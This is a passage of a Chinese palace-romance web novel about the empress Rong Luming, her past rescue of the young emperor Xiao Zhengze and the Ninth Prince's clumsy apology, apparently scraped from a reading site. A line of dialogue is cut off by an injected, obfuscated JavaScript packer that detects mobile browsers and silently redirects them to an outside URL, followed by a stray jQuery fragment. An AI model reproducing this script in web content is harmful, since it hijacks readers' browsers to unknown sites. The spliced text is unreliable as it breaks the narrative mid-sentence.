容鹿鸣放缓了呼吸,心里钝痛,为逝者,亦为萧正则。
    “难道,那毒酒是当着幼时的陛下饮尽的?”
    容鹿鸣没说话,如同默认。为尊者讳,逝者已去。
    美盼心底震动。萧正则那时抢夺御酒,不是因为贪嘴。他以为那酒和赐与她母亲的酒一样——会夺人性命!所以一口饮尽之后,他趴在地上颤抖。他在害怕,在等待他以为会来的死亡。
    如此害怕却还是饮了那酒,只为了——那一刻,他竟愿意替容鹿鸣去死!
    揣度他的用心,在那么小的年纪,美盼心中惊惧,片刻之后,喃喃道了句:“原来如此。”
    容鹿鸣撤去软垫,让自己陷入织锦的被单之中。
    在亲眼目睹母亲惨死之后,萧正则当夜开始高烧。接连两日,高烧不退,人已昏死过去,一滴水都喂不进去。
    一个被父皇厌恶的皇子,谁会在意他的死活?
    那位受过萧正则生母恩典的老太监求告无门,本想去求太子。众人皆知太子仁德。奈何,根本入不了东宫的大门。
    万般无奈之下,他想到了容相。容相会为这样一个不相干的人冒险、施以援手吗?
    他已历尽人世险恶,本不抱有希望,只是万般不忍一个无辜的孩子就此病死。在行至相府大门前时,他遇到了清晨归来的容鹿鸣。
    不能再等了!他怕见不到小主人最后一面,就此,跪在了容鹿鸣面前,哀哀哭求。
    容鹿鸣奉诏去东宫议事,彻夜未眠,满脸倦意,看不出什么表情。
    老太监话说了一半,她已转身走回马车,利落地卸下马轭,翻身上马,朝皇宫的方向绝尘而去。
    她甚至没来得及换下官服,就这么闯进冷宫,太医院的人跟在她身后,为她捧着药箱。
    她亲手救下萧正则,在冷宫那个破败的偏殿里,整整守了他两日。喂他吃药,擦洗他羸弱的身体,为他驱散噩梦。她是陆徐陆院判的关门弟子,在宫中为人医治也是常事。
    冷宫之外,有人觉得她大可不必如此,何苦与这些人纠缠。冷宫中人却个个心怀感激,在这里,萧正则不是她唯一救过的人。
    她长在容家,自然懂得权力的残忍和无常。冷宫之中,几人大恶?不过都是宫廷争斗的牺牲品。
    为将为医,她杀过许多人,也救过许多人,从不想会种下什么因果。却因此与萧正则纠缠至今,不能解脱。
    “美盼,不必守着我。陛下今晚大概不会来。”容鹿鸣遣开了身边人,想一个人静静地,看一看月亮。
    思绪逐渐飘远,身上的旧伤隐隐作痛。容鹿鸣想,她得大梦一场,养好精神。又一个五载,晋与西戎重盟在即、林党与清流争斗不休且总想牵扯容家、兄长仍在北境御敌、静妃的冤屈、先太子……那么多事压在她身上,竟让她觉得,月光是有重量的,如琼楼玉宇之中,坍圮的一道银墙。
    她喘息着,走进梦里。
    梦里不知何昔,一瞬地回到往日里,那少年折了虎头茉莉赠她。由是惊醒了,因为闻到了新鲜的花香。
    她睁开眼睛,萧正则立在她床榻边,立在月色里,手中,执一朵新摘的虎头茉莉。
    没有说话。亦没有上前。容鹿鸣想,怪自己把他教得太好,令他可以随时潜入她身畔,送花或夺命?皆可。她自嘲地一笑,却见他望向自己的眼神……
    她以为他会来问罪,或是因昨日逾矩的行为来给些赏赐,不曾想,他就立在那儿,默默地望向她。
    他的眼神如同是,幼时容鹿鸣第一次救他于冷宫后,她离去时,他一言不发却深深望他——他在害怕,怕她走出冷宫后不再来看他。
    一刹地,容鹿鸣心生恻隐,朝他微微抬起手。他立时放下花,像小时候那样,半跪在她榻前,把俊逸的面容埋入她温热的掌心。
    他好看的眉眼胜画十分。羽扇似的长睫垂下,如同栖停的黑色蝴蝶。
    第二日清晨,美盼撩开容鹿鸣床榻前的帘子时,萧正则已然走了。容鹿鸣似是未醒,薄衾规整地盖在她身上,墨色长发如锻,细腻地铺于枕上。一枝虎头茉莉停在她枕畔,雪白的瓣儿微微蜷曲,应是夜里摘下的。
    陛下昨夜来过?美盼惊觉。继而,想到些往事。
    曾经,萧正则也常来月柏轩,不声不响,趴在容鹿鸣床榻边,一趴一整夜。美盼不敢细想,若他之心念始终不变,皇后娘娘当如何脱身?
    一切如常,容鹿鸣照例称病。前日,出了御前侍卫夜围凤仪宫的事之后,这里彻底没了访客。
    容鹿鸣高兴坏了,巴望着日日都能如此。特意让巧笑把前些日子用孔雀石制成的石绿取来,净手罢、调制颜料。又把翡翠笔山上架着的,她极喜欢的几支楠竹杆的毛笔都润了润,捻起雕了宝相花的那支,快意地做起画来。
    她欲画一幅普贤变,以石绿晕染菩萨道场峨眉山的山姿水色。
    将近午时,巧笑来秉,说是有人求见。
    “不见。”容鹿鸣道,她正画到兴头上。美盼烹了她喜欢的峨眉雪芽,清香四溢,她都忘了去喝。
    “娘娘,那位娘子说,她是九王爷派来的。”巧笑嗫嚅着。
    容鹿鸣太阳穴一跳,停住笔。此刻手中若是有根绳子,她真能冲去九王府把萧正晞绑了!
    当年她在西戎那场血色婚礼上冒死救他,不是叫他安然回来后,逮着她便乱喊“靖王妃”的。
    “那便更不见了。”容鹿鸣接着画。
    “那个,娘娘,她驾了辆马车来……”
    “让她驾回去。”容鹿鸣懒得多说。
    “装了整整一车的金乳酥呐。就停在凤仪宫外,甜香浓郁,已被不少宫人团团围住。”
    “……赶紧把人撵走,被一车吃食堵了门……”
    “恐怕得费些时候。他们都知是九王府的马车,九王府的金乳酥,名动京师。多少贵人想一尝佳肴,奈何,九王爷不招待。如今得了这个机会,他们估计想着,娘娘素来大度,这么多金乳酥,凤仪宫吃不完的话,定是要赏他
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420825|171898||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    们一些的。”
    容鹿鸣搁下笔,不说话。她想从这些闹嚷之中抽出身来。
    “还有,娘娘,九王爷还修书一封。”
    容鹿鸣展信,只一行大字:臣弟知罪。这字体,容鹿鸣觉得,真是白煞了手里这张玉版生宣。
    萧正晞也不想这样。容鹿鸣当年毕竟救了他的命,他却一个不小心,点破了她靖王妃的身份。虽说绝非有意,可多少有些恩将仇报的味道。他本想附上一篇情真意切的陈情文,奈何,他是真的做不到。
    容鹿鸣在当今文坛是个什么地位?萧正晞虽说不学无术,心里却还是知道的。
    她儿时的诗文就颇得静妃赞誉,后来给先皇看到了,亦是大为赞赏。待她长大些,文风愈加浑厚典雅又不失细腻幽微。策论上,可与其兄长容雅歌的乱真。写起散文来,则又别具一格。
    先皇当年十分钟爱其文,每观盛景,常要遣人诏容鹿鸣来。来则即写,挥笔而就,竟是毫无滞涩。先皇拿到手上,总要反复诵读。引得京中之人争相传抄。先皇于痛疾犯时,也爱让人读容鹿鸣的文章给他听,说是可以止痛。
    还曾有个说法,先皇说宫中安逸,憾事唯有两件:一是容雅歌不能随侍御前,为他弹奏天下至美的琵琶曲。二是容鹿鸣总在南境,无法常在御前,为他赏景写赋。
    念及此,萧正晞郑重地对侍从流华说:“孤你是知道的,兴许于厨艺方面有些造诣,读书识字上是不行的。倘若动笔写文,不出错字就算是造化大了。自己看便算了,如若写给别人,还不知被几多嘲笑……孤有时在府里,装模作样地听师父们讲点儿什么,你都随侍一旁。听了这么些大儒的讲授,孤觉得,给皇后娘娘的这篇陈情文,还是由你代笔吧。切记要情真意切,动人肺腑。”
    “……杀个人容易,写篇陈情文,不容易。”流华后退一步,“扑腾”一声跪下。
    “那可如何是好啊!”萧正晞扑倒在书案之上,“老师们的文风,皇后娘娘无一不熟悉。我该找谁来代笔呀!”
    “咳——”流华跪在地上,轻咳一声,“都说大道至简,不如,写个简单些的?”
    萧正晞福至心灵,立即挺起身,又把流华拉到身边,给自己把关。
    铺纸、研磨,拎起支狼毫大楷,豪气万分,抬笔挥就三个大字:我错了。
    “怎么样,来点儿喝彩!”
    “王爷这是要,呈给皇后娘娘?”
    “对呀”,见他面露难色,萧正晞赶忙补充,“是不是太素了些,我这便找人装裱,衬上块宝相花的绸子!”
    “这……不太合适吧。”流华扶额,他该怎么向他家王爷说,这幅字,姑且当做是一幅字吧,字体和文词都不合适。字是歪的,用语太随意。
    “这样吧……”流华想到个办法,他家王爷胸无点墨的形象早已深入人心,如若寻个才子来代笔,岂不被一眼识破,显得愈发不敬?
    容鹿鸣看到的还算工整的四个字,流华看着萧正晞,足足写了近两个时辰。